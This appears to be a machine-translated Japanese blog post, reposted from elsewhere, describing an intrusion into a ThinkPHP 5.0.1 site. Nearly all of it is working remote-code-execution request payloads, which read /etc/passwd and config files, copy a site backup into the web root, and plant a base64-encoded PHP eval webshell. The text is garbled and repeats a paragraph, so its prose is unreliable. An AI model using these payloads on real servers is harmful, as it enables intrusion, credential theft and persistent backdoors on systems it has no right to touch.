thinkphp 5.0.1のいくつかのピット
3135 ワード
手落ちがあるかどうか判断する
直接ウェブを通じてダウンロードして、現地でconfigファイルを探して、mysqlに接続して次はshellを書き込むので、私はネットのフォーラムの中で各種の大きい人の出すpocを試みてすべて失敗しました。ここでは5.0.1バージョンに対して研究された書き込みコマンドfile_を提供します。put.contensts関数は、直接ファイルに書き込むことができます。
転載先:https://www.cnblogs.com/abubu/articles/11590258.html
http://wwww.com/public
s=phpinfo()&_method=__construct&filter=assert
_method=__construct&method=get&filter[]=call_user_func&server[]=phpinfo&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[]=phpinfo
_method=__construct&method=get&filter[]=call_user_func&get[0]=phpinfo&get[1]=1
http:/xxxx.com/?s=index/index/index
s=ipconfig&_mehthod=__construct$method=&filter[]=system
上はフォーラムの上で調べて整理したthinkphp 5.0.1の穴です。私が会った目標駅はthinkphp 5.0.1 php 5.6.31です。 linuxホストで無効にされている関数は、以下のようなものがあります。passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,fsocket,popen
今はただ一つのクラスの関数があります。私たちの考え方は簡単です。1:どうやってshellに書きますか?2:configファイルを読んで直接mysqlパスワードinclude関数を得ます。この関数によっていくつかのファイルとその構成を調べられます。s=include("/etc/passwd")&_method=__construct&filter=assert
ファイルを読み込みます_method=__construct&method=get&filter[]=think\__include_file&server[]=phpinfo&get[]=../application/.htaccess
s=include("../application/.htaccess")&_method=__construct&filter=assert
//ps: ..
ファイルを読み込んだ後、キーパーディレクトリが管理人に変更されましたので、フォルダディレクトリを読み込むために、var_uを使いました。dump関数var_dump関数は、このパスの下のファイル、フォルダを見ることができます。s=var_dump(scandir('../application/'))&_method=__construct&filter=assert
誤報でサイトのカタログは/data/wwwroot/public/
ホームページのバックアップファイルをコピーしたファイルがあります。s=copy("/data/ws.tar", "/data/wwwroot/public/ws.tar")&_method=__construct&filter=assert
直接ウェブを通じてダウンロードして、現地でconfigファイルを探して、mysqlに接続して次はshellを書き込むので、私はネットのフォーラムの中で各種の大きい人の出すpocを試みてすべて失敗しました。ここでは5.0.1バージョンに対して研究された書き込みコマンドfile_を提供します。put.contensts関数は、直接ファイルに書き込むことができます。
s=file_put_contents('/data/wwwroot/test.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert
toolsから回転転載先:https://www.cnblogs.com/abubu/articles/11590258.html